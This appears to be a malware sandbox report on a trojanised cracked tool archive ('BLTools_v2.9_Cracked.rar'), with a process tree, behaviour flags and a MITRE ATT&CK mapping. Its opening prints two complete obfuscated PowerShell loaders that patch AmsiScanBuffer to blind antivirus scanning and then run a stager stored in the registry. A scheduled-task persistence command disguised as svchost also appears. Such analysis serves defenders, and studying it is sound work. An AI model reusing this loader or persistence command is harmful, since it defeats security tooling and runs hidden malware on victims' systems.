''+'S'+'i'+'g'+''+[Char](44)+''+[Char](78)+''+'e'+''+'w'+'Sl'+[Char](111)+'t,V'+[Char](105)+''+[Char](114)+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$uimwEfzrQS,$gzacXjotXBIALS).SetImplementationFlags(''+'R'+'u'+'n'+''+[Char](116)+''+[Char](105)+''+'m'+'e,'+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $bvwAXKqjYwB.CreateType();}$hrDPZQzcDQqrb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+'y'+'s'+'t'+''+'e'+''+[Char](109)+''+'.'+''+'d'+''+[Char](108)+'l')}).GetType(''+'M'+''+[Char](105)+''+'c'+'r'+'o'+''+[Char](115)+''+'o'+'f'+'t'+'.'+[Char](87)+''+[Char](105)+'n'+'3'+''+[Char](50)+''+'.'+'U'+'n'+'s'+'a'+'f'+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+''+'v'+''+'e'+''+[Char](77)+''+[Char](101)+'t'+'h'+''+[Char](111)+''+[Char](100)+'s');$rFjMFnGzUgDHgd=$hrDPZQzcDQqrb.GetMethod('G'+[Char](101)+'t'+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+'A'+[Char](100)+''+'d'+''+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+''+[Char](44)+'S'+[Char](116)+'at'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$rOlxhANlHiWKCqeckDe=ApHUYyDvvIhF @([String])([IntPtr]);$EAMLGHWDEzWHJXcJXrjfqe=ApHUYyDvvIhF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$znCjwUeLvtX=$hrDPZQzcDQqrb.GetMethod('G'+[Char](101)+''+[Char](116)+'M'+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+'a'+''+[Char](110)+'dl'+'e'+'').Invoke($Null,@([Object](''+'k'+'e'+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')));$RMWjGQDnzaMRwF=$rFjMFnGzUgDHgd.Invoke($Null,@([Object]$znCjwUeLvtX,[Object]('L'+'o'+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+''+[Char](98)+''+[Char](114)+'a'+'r'+''+'y'+''+[Char](65)+'')));$jNOBehSYTdTaVftOM=$rFjMFnGzUgDHgd.Invoke($Null,@([Object]$znCjwUeLvtX,[Object](''+[Char](86)+''+[Char](105)+''+[Char](114)+'tua'+[Char](108)+''+'P'+'r'+[Char](111)+'t'+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$IPZsqEc=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RMWjGQDnzaMRwF,$rOlxhANlHiWKCqeckDe).Invoke(''+[Char](97)+''+[Char](109)+''+'s'+''+'i'+'.'+[Char](100)+''+[Char](108)+''+'l'+'');$enGhEgWYxKhUBifoX=$rFjMFnGzUgDHgd.Invoke($Null,@([Object]$IPZsqEc,[Object](''+[Char](65)+'ms'+'i'+''+[Char](83)+''+[Char](99)+'a'+[Char](110)+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$plAJuNkGad=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jNOBehSYTdTaVftOM,$EAMLGHWDEzWHJXcJXrjfqe).Invoke($enGhEgWYxKhUBifoX,[uint32]8,4,[ref]$plAJuNkGad);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$enGhEgWYxKhUBifoX,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jNOBehSYTdTaVftOM,$EAMLGHWDEzWHJXcJXrjfqe).Invoke($enGhEgWYxKhUBifoX,[uint32]8,0x20,[ref]$plAJuNkGad);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+'T'+'W'+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$'+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:FprFKpGqHKQd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$wkNJsNsLpIeZZZ,[Parameter(Position=1)][Type]$gkEBFBNzkh)$HKeOqOctYQi=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+'l'+[Char](101)+'ct'+[Char](101)+''+[Char](100)+'D'+[Char](101)+''+'l'+'e'+[Char](103)+'a'+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+'M'+[Char](101)+''+'m'+''+[Char](111)+''+[Char](114)+'yModu'+'l'+''+'e'+'',$False).DefineType(''+'M'+''+'y'+'De'+[Char](108)+'eg'+[Char](97)+''+[Char](116)+'eT'+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+[Char](108)+''+'a'+'ss,P'+'u'+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+'l'+'e'+[Char](100)+','+[Char](65)+''+[Char](110)+''+'s'+''+[Char](105)+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+''+[Char](44)+'A'+[Char](117)+''+[Char](116)+'o'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$HKeOqOctYQi.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+[Char](108)+''+'N'+'a'+'m'+'e'+[Char](44)+''+'H'+''+'i'+''+'d'+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+'i'+[Char](103)+''+[Char](44)+'P'+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+'c'+'',[Reflection.CallingConventions]::Standard,$wkNJsNsLpIeZZZ).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+'i'+[Char](109)+'e'+[Char](44)+''+'M'+''+[Char](97)+'n'+[Char](97)+'g'+[Char](101)+''+'d'+'');$HKeOqOctYQi.DefineMethod(''+'I'+''+'n'+''+'v'+''+'o'+''+'k'+'e',''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+'i'+[Char](99)+','+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+'w'+''+'S'+'l'+'o'+''+'t'+''+','+''+[Char](86)+''+'i'+'r'+'t'+''+[Char](117)+'a'+[Char](108)+'',$gkEBFBNzkh,$wkNJsNsLpIeZZZ).SetImplementationFlags(''+'R'+'u'+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+'d'+'');Write-Output $HKeOqOctYQi.CreateType();}$MlHZBHoJlnkpK=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+'e'+''+'m'+''+[Char](46)+''+[Char](100)+'ll')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+'f'+''+'t'+''+[Char](46)+''+[Char](87)+''+'i'+'n3'+[Char](50)+''+'.'+''+[Char](85)+'n'+'s'+''+[Char](97)+''+'f'+''+'e'+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+'i'+''+'v'+''+'e'+''+[Char](77)+'e'+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+''+[Char](115)+'');$MnpWAQWnEbbCTO=$MlHZBHoJlnkpK.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](99)+''+[Char](65)+'dd'+[Char](114)+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pu'+'b'+''+'l'+'ic'+[Char](44)+'S'+'t'+''+[Char](97)+''+[Char](116)+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$iKsfMlBZyWgFZFuLkrG=FprFKpGqHKQd @([String])([IntPtr]);$KtLhiJywkBxhRQjWoXJkre=FprFKpGqHKQd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BYJKbCsBtKt=$MlHZBHoJlnkpK.GetMethod(''+'G'+''+[Char](101)+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+'u'+[Char](108)+''+'e'+''+'H'+''+[Char](97)+''+'n'+''+[Char](100)+'le').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+'l')));$QrKqSGMxjZBpXF=$MnpWAQWnEbbCTO.Invoke($Null,@([Object]$BYJKbCsBtKt,[Object](''+[Char](76)+''+[Char](111)+''+'a'+''+[Char](100)+'L'+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$RYqaUZcLDzcoIFtQl=$MnpWAQWnEbbCTO.Invoke($Null,@([Object]$BYJKbCsBtKt,[Object]('V'+[Char](105)+'r'+'t'+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+''+'o'+''+'t'+''+[Char](101)+''+[Char](99)+''+'t'+'')));$tiEoFWl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QrKqSGMxjZBpXF,$iKsfMlBZyWgFZFuLkrG).Invoke('a'+[Char](109)+'s'+[Char](105)+''+'.'+''+[Char](100)+''+'l'+''+'l'+'');$RuzyfdfCXoVmTBiim=$MnpWAQWnEbbCTO.Invoke($Null,@([Object]$tiEoFWl,[Object](''+'A'+''+[Char](109)+''+[Char](115)+'i'+[Char](83)+''+[Char](99)+''+[Char](97)+''+'n'+'B'+[Char](117)+'f'+[Char](102)+''+'e'+''+[Char](114)+'')));$NPFvwukbRh=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RYqaUZcLDzcoIFtQl,$KtLhiJywkBxhRQjWoXJkre).Invoke($RuzyfdfCXoVmTBiim,[uint32]8,4,[ref]$NPFvwukbRh);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$RuzyfdfCXoVmTBiim,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RYqaUZcLDzcoIFtQl,$KtLhiJywkBxhRQjWoXJkre).Invoke($RuzyfdfCXoVmTBiim,[uint32]8,0x20,[ref]$NPFvwukbRh);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SO'+[Char](70)+'TW'+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+'s'+'t'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1224

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1484

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1496

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1556
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1636

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1780

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1820

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1916

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2008

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2368

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2556

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2592

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2652

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2952

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3080

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3164
- C:\Windows\system32\cmd.exe
  cmd /c C:\Users\Admin\AppData\Local\Temp\BLTools_v2.9_Cracked.rar
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2384
- - C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\BLTools_v2.9_Cracked.rar"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Users\Admin\AppData\Local\Temp\7zOC1AEB678\BLTools Pro.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOC1AEB678\BLTools Pro.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      Suspicious use of WriteProcessMemory
      PID:3320
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /F /TN "svchost" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:5012
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3180
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        Suspicious use of WriteProcessMemory
        
        PID:1632
        
        C:\Windows\svchost.exe
        
        "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1176
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        
        PID:316
      - C:\Users\Admin\AppData\Local\Temp\$77.exe
        
        "C:\Users\Admin\AppData\Local\Temp\$77.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2484
    - - C:\Users\Admin\AppData\Local\Temp\7zOC1AEB678\BLTools.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zOC1AEB678\BLTools.exe"
        5⤵
        Executes dropped EXE
        
        PID:3332
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3332 -s 1076
        6⤵
        Program crash
        
        PID:4036
  - - C:\Users\Admin\AppData\Local\Temp\7zOC1A302E9\BLTools Pro.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOC1A302E9\BLTools Pro.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Adds Run key to start application
      PID:632
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /F /TN "svchost" /SC ONLOGON /TR "C:\Users\Admin\AppData\Local\Temp\svchost.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4716
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        Suspicious use of SetWindowsHookEx
        
        PID:5092
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:512
      - C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        
        PID:3840
        
        C:\Windows\svchost.exe
        
        "C:\Windows\svchost.exe" "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        7⤵
        Executes dropped EXE
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\Install.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Install.exe"
        8⤵
        Executes dropped EXE
        
        PID:4812
    - - C:\Users\Admin\AppData\Local\Temp\7zOC1A302E9\BLTools.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zOC1A302E9\BLTools.exe"
        5⤵
        Executes dropped EXE
        
        PID:4372
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 1072
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        
        PID:3228

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3460

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3696

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:3076

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4452

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4912

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:1952

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:2724

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:380

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops file in System32 directory
PID:408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
1⤵
PID:2396

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window
1⤵
PID:1772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=122.0.6261.70 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=122.0.2365.52 --initial-client-data=0x240,0x244,0x248,0x23c,0x2ac,0x7ffbe8ef2e98,0x7ffbe8ef2ea4,0x7ffbe8ef2eb0
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --mojo-platform-channel-handle=3256 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:3
  2⤵
  PID:4280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=2756 --field-trial-handle=2236,i,5367110156796017614,12594004256180761011,262144 --variations-seed-version /prefetch:8
  2⤵
  PID:3172

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:924

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe
1⤵
PID:3356

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s PcaSvc
1⤵
PID:4380

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3148

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
PID:4156

C:\Windows\svchost.exe
C:\Windows\svchost.exe
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4784

C:\Windows\servicing\TrustedInstaller.exe
C:\Windows\servicing\TrustedInstaller.exe
1⤵
PID:4116

C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
1⤵
PID:4048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
PID:1708

C:\Windows\System32\mousocoreworker.exe
C:\Windows\System32\mousocoreworker.exe -Embedding
1⤵
PID:3228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1180
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 3332 -ip 3332
  2⤵
  PID:2292
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4372 -ip 4372
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  PID:4656

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

System Information Discovery